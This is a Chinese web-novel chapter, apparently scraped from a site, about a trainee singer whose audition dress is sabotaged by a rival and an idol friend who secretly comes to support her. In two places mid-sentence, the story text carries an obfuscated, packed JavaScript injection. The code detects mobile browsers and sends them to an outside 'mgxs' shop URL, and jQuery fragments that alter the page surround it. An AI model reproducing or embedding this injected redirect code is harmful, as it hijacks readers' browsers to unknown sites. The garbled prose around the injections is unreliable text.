如果那些路人认出金钟沄来了怎么办? 幸好,她们都没认出来。 要是被知道一个刚出道的男团成员,竟然给一个陌生练习生单独见面,还不知道会被揣摩出什么新闻! “钟云,你……” “你不是说要去录节目吗。”他低头看她,眼睛里有光,“我来给你加油。” “你不是有行程吗?” “推了。” “骗人。” “没骗。”他笑了一下,“就是往后挪了挪,一会儿再过去。” 姜智恩看着他,忽然不知道该说什么。 旁边有工作人员在催,说是要进去了。但金钟沄没动,他就站在那儿,看着她。 “紧张吗?”他问。 “刚才紧张。” “现在呢?” 姜智恩想了想,也笑了:“现在好一点了。” 金钟沄点点头,从口袋里掏出一个小东西,塞到她手里。 是一颗糖。草莓味的。 “我出道那天,上台之前吃的就是这个。”他说,“很管用。” 姜智恩低头看着那颗糖,又抬头看他。 阳光打在他脸上,把他的轮廓勾得很柔和。 “进去吧。”他说。 “嗯。” 姜智恩攥紧那颗糖,转身往里走。 走了两步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352964|199633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她又回头。 他还站在那儿,冲她挥了挥手。 她笑了一下,继续往里走。 经纪人见着姜智恩走进了电视台的大楼,才从旁边走过来,拽着金钟沄就往车上带。 “下次别做这么冒险的事情了,你看到那些粉丝了吗?还好她们没认出来你是谁!要不然,你想刚出道就传出不好的绯闻吗?你现在是爱豆,爱豆啊——是不可以谈恋爱的!” 经纪人马着一张脸,表情也变得特别严肃。 金钟沄想想也没想立刻说,“只是朋友。” 目前,只是朋友。 “哥,我给后辈加油打气可是正面新闻,你竟然想弄出恋爱绯闻?!”金钟沄又补刀了一句。 看着自家艺人一副不在意的样子,经纪人也只能承受这个烦恼了。 哎,跟你们这些才出道的新人说不清楚! * 《星光少女》的候场区很大,比姜智恩想象的大,也比她想象的乱。 到处都是人。 有在补妆的,有在练舞的,有在对台本的,还有蹲在角落里哭的。工作人员穿梭其中,喊这个,叫那个,乱糟糟的。 姜智恩被朴秀英带到一个角落的位置,领了一件印着编号的马甲——36号。 “你先在这儿等着,一会儿有人来叫你。”说完,朴秀英就走了。 姜智恩坐下来,把背包放到脚边。 旁边几个女生看了她一眼,又凑在一起小声说话。她听不清她们说什么,但能感觉到那些目光在自己身上扫来扫去。 她没在意,低头撕开那颗糖的包装纸,放进嘴里。 草莓味的,甜的。 她想起金钟沄说“很管用”,于是又嚼了两下,笑了。 “你是新来的?” 一个声音从头顶传来。 姜智恩抬头,看见一个女生站在她面前。长头发,白皮肤,眼睛很大,化着精致的妆,看起来像是从画报里走出来的人。 这不就是李在伊最讨厌的那个选秀女吗?!! 她要做什么? “我是金允茵。”女生笑了一下,笑得很漂亮,但眼睛里没什么温度,“听说你是临时补上来的?” 姜智恩站起来:“你好,我叫姜智恩。” “你好。”金允茵上下打量她,“你之前是哪个公司的?” “SM公司。” “SM的?不错嘛。”金允茵挑了挑眉,“你怎么进来的?” 姜智恩想了想,如实回答:“导演组看了我的练习视频,让我来试一试。” 金允茵笑了,笑得很轻,像是听到什么好笑的事。她身后那几个女生也笑了,笑得更轻,但姜智恩听懂了。 “那挺好的。”金允茵说,“好好表现。” 她说完就走了,那几个女生也跟着走了。 姜智恩站在原地,把嘴里的糖咬碎。 没事,她想。她是来唱歌的,不是来交朋友的。 下午两点,彩排开始。 姜智恩被叫到一个房间里,领到了自己的演出服。一件白色的连衣裙,很简单,但很干净。工作人员告诉她,她的表演顺序是第17个,让她先去换衣服等着。 她抱着衣服走进更衣室,里面已经有好几个女生了。有的在换衣服,有的在化妆,有的在对着镜子练表情。 她找到一个空位,开始换衣服。 裙子穿上身,很合身,长度刚好到膝盖,领口有一圈细碎的花边。她对着镜子看了看,觉得还不错。 23. (023) 然后她听见身后有人说话。 “这件裙子她穿挺好看的。” “是吗?我觉得一般。” “也不是一般,就是……气质不太搭。” 姜智恩没回头,继续整理裙摆。 然后她看见镜子里,金允茵走了进来。 金允茵也换好了衣服,是一条红色的长裙,亮片镶边,裙摆拖在地上,像一团火。她走过来,站在姜智恩旁边,对着镜子整理头发。 “你这件裙子,”金允茵开口,“好像是我的。” 姜智恩愣了一下,转头看她:“什么?” “开个玩笑。”金允茵笑了一下,“我的是这件,不一样。” 她指了指自己身上的红裙,然后又看了姜智恩一眼。 “不过你这件也挺好看的。就是……” 她没说下去,只是笑了笑,转身走了。 姜智恩看着她的背影,心里忽然有点不安。 下午五点,正式录制前半小时。 姜智恩正在角落里温习歌词,忽然被一阵喧哗声惊动。她抬头,看见更衣室门口围了一圈人,有人在喊,有人在拍照。 “怎么了?”她问旁边的人。 “不知道,好像是谁的衣服坏了。” 衣服坏了? 姜智恩心里咯噔一下,拨开人群往里走。 更衣室的门开着,她一眼就看见自己的那件白裙子躺在地上,背后从领口到腰际,撕开了一道长长的口子。 “这是谁的裙子?”有人问。 “不知道,就扔在这儿。” “谁干的?” 姜智恩走过去,蹲下来,把裙子捡起来。 那道口子撕得很整齐,像是用剪刀剪的。白色的布料软软地垂下来,再也没办法穿。 “这是你的?”一个女生走过来,小声问她。 姜智恩没回答,只是低着头看那条裙子。 周围有人在拍照,有人在议论,有人在偷偷看她。她听见有人小声说“真可怜”,有人说“这下上不了台了”,还有人在笑,笑得很轻,像风一样飘过去。 她抬起头,往人群里看。 金允茵站在人群后面,正对着镜子补妆。她好像什么都没看见,只是很认真地涂着口红,涂完了,抿了抿嘴,对着镜子露出一个满意的笑。 姜智恩收回目光,低头看着那条裙子。 离上台还有二十分钟。 她没有备用的衣服。 她攥紧那条裙子,站起来,往角落里走。 “你要干嘛?”刚才那个女生跟过来,“裙子都坏了,你上不了台了。” 姜智恩没说话,把裙子铺在椅子上,仔细看那道口子。 缝不上了,时间不够。 她想了想,从包里翻出一个东西——一盒回形针。 这是她平时用来夹谱子的,没想到现在派上用场。 她把回形针一个个掰开,弯成小钩子,然后从裙子背面的接缝处穿过,把撕开的两边勾在一起。 一个,两个,三个。 她用回形针在背后做了一排“拉链”,从领口一直连到腰际。那些银色的金属在白色的布料上闪闪发亮,不像修补,更像一种装饰。 旁边的女生看呆了:“这……能行吗?” 姜智恩穿上裙子,对着镜子转了一圈。 回形针勾得很紧,裙子稳稳地贴在身上,那些银色的光点在背后排成一排,像一串星星。 “行了。”她说。 * 晚上七点,录制正式开始。 舞台上的灯光很亮,台下的观众席黑压压一片,看不清人脸。姜智恩站在后台的阴影里,听着前面一个接一个的歌声和掌声。 第15个,第16个。 “第17位选手,姜智恩,准备。” 她深吸一口气,把手伸进口袋,摸了摸那颗糖的包装纸,是空的,已经吃完了。但那个味道还在,甜甜的,草莓味的。 她想起金钟沄说的话:“很管用。” 她笑了一下,走上台。 灯光打在她身上的那一刻,她什么都看不见了,只听见音乐响起,只听见自己的心跳。 她开口唱。 第一个音出来的时候,所有的紧张都消失了。她站在那个很亮很亮的地方,唱一首很慢很慢的歌,台下的人安静地听着,没有人说话,没有人鼓掌,只有她的声音在空气里飘。 唱到最后一句的时候,她忽然想起很多事。 想起她和金钟沄在练习室跳舞,结束了之后,他们一起去吃路边摊。 想起他出道那天,她站在人群里,看他站在台上,心里想的是——真好。 想起今天下午,他站在阳光里,往她手里塞了一颗糖。 她唱完最后一个字,深深鞠了一躬。 台下响起掌声,很响,很热烈。 她直起身,看见第一排的评委在笑,看见工作人员在冲她竖大拇指,看见很多很多她不认识的人,在为她鼓掌。 她笑了。 后台,金允茵的房间。 门被推开的时候,金允茵正在卸妆。她回头,看见节目组的总导演站在门口,脸色很难看。 “金允茵,跟我来一下。” 金允茵愣了一下,站起来:“怎么了?” “更衣室的监控调出来了。”总导演看着她,“你自己做的事,自己清楚。” 金允茵的脸色变了。 “你撕毁其他选手的演出服,这是明确的霸凌行为。节目组决定,你退出。” “什么?”金允茵的声音尖起来,“你们凭什么?我是C位!我是第一名!你们不能——” “你的名次已经取消了。”总导演打断她,“保安,请她出去。” 门外走进来两个保安,一左一右站在金允茵身边。 金允茵挣扎了一下,但挣不开。她被架着往外走,走到门口的时候,她看见姜智恩站在走廊里,刚从舞台回来,脸上还带着没擦干的汗。 两人对视了一秒。 金允茵想说什么,但没说出来,被保安带走了。 姜智恩站在原地,看着她消失在走廊尽头。 旁边的女生凑过来,小声说:“活该。” 姜智恩没说话。 她只是靠在墙上,长长地呼出一口气。 然后她掏出手机,给金钟沄发了一条消息。 【上台了。唱完了。糖很管用。】 发完,她把手机揣回口袋,往休息室走。 走到一半,手机震了。 她掏出来看。 【我知道。我在台下。】 姜智恩愣住。 她猛地转身,往观众席的方向跑。 门已经关了,观众都散了,只有工作人员在收拾设备。 但她看见他了。 他站在出口的地方,黑色的卫衣,帽子扣在头上,正冲她挥手。 和今天下午一样。 姜智恩跑过去,跑到他面前,停下。 “你骗人。”她说,“你不是有行程吗?” “推了。”他说。 “又骗人。” “没骗。”他笑了一下,“就是往后挪了挪。” 姜智恩看着他,忽然不知道该说什么。 金钟沄也没说话,只是低头看她。 过了很久,她开口:“你怎么进来的?” “混进来的。买了张票。” “你疯了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352965|199633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?被人认出来怎么办?” “认出来就认出来呗。”他说,“我朋友上台唱歌,我来看看,怎么了?” 姜智恩愣了一下,然后笑了。 金钟沄也笑了。 走廊里很安静,只有远处工作人员说话的声音。两个人站在那儿,谁也没动。 “对了,”姜智恩忽然想起什么,“你吃晚饭了吗?” “没有。” “那我们去吃鱼饼?” “现在?” “现在。”她看着他,“热的。” 金钟沄看着她,眼睛里的光慢慢亮起来。 “好。”他说。 走廊尽头的安全通道门被推开,夜风灌进来,带着初秋的凉意。 姜智恩走在前面,出了门才想起来:“你开车来的?” “没有。”金钟沄把帽子往下压了压,“坐地铁。” “坐地铁?”姜智恩回头看他,难以置信,“你是当红偶像,你坐地铁?” “戴着口罩呢。”他往前走,“而且周末晚上,人多,没人注意。” 姜智恩跟上他,两个人并排走在电视台侧面的小路上。路灯把影子拉得很长,一个高一个矮,叠在一起又分开。 “那家店还在吗?”金钟沄问。 “哪家?” “就是我们之前常去的那家。” 姜智恩想了想:“你是说巷子里那家?” “嗯。” “应该还在吧。”她说,“上个月路过好像还开着。” 两个人穿过两条街,拐进一条窄巷子。鱼饼店果然还开着,橘黄色的灯光从塑料门帘后面透出来,热气从锅里冒上来,在夜风里散开。 老板娘抬头看了他们一眼,目光在金钟沄身上多停了两秒,但什么也没说,只是问:“要几串?” “四串。”姜智恩伸出四根手指,“两串辣的,两串不辣的。” “还要鱼糕汤。” 金钟沄补了一句。 姜智恩转头看他:“你还记得?” “当然记得。”他说,“你每次都喝两碗。” 姜智恩愣了一下,然后笑了。 他们端着纸杯坐在店门口的矮凳上,鱼饼串的热气扑在脸上。姜智恩咬了一口,烫得嘶了一声,但还是含含糊糊地说:“还是这家的好吃。” 金钟沄没说话,只是低头喝汤。 姜智恩偷偷看了他一眼。 路灯的光落在他侧脸上,帽檐下面露出一点额头,睫毛在脸颊上投下一小片阴影。 “你今天,”她犹豫了一下,“真的推了行程来看我?” “嗯。” “为什么?” 金钟沄放下纸杯,转头看她。 “因为你紧张的时候会咬嘴唇。”他说,“一直都是。” 姜智恩张了张嘴,忽然不知道说什么。 金钟沄又低下头,搅了搅碗里的汤:“而且你第一次上这么大的台,我怕你出事。” “所以那颗糖是你特意送我的?”姜智恩忽然反应过来,就是为了让她别紧张,“甚至退掉了行程。金钟沄,你疯了!你刚出道就耍大牌,影响不好!” 金钟沄没回答,只是喝了一口汤。 姜智恩看着他,心里有什么东西慢慢地、慢慢地化开了,像那颗草莓糖一样,甜丝丝的,融在整个胸腔里。 “金钟沄。”她叫他。 “嗯?” “谢谢你。” 金钟沄抬起头,帽檐下面的眼睛亮亮的。 “不用谢。”他说,“你唱得很好。” 夜风又吹过来,鱼饼店的灯光晃了晃。两个人坐在那儿,一碗热汤,几串鱼饼,谁也没再说话。但谁都觉得,这样就很好。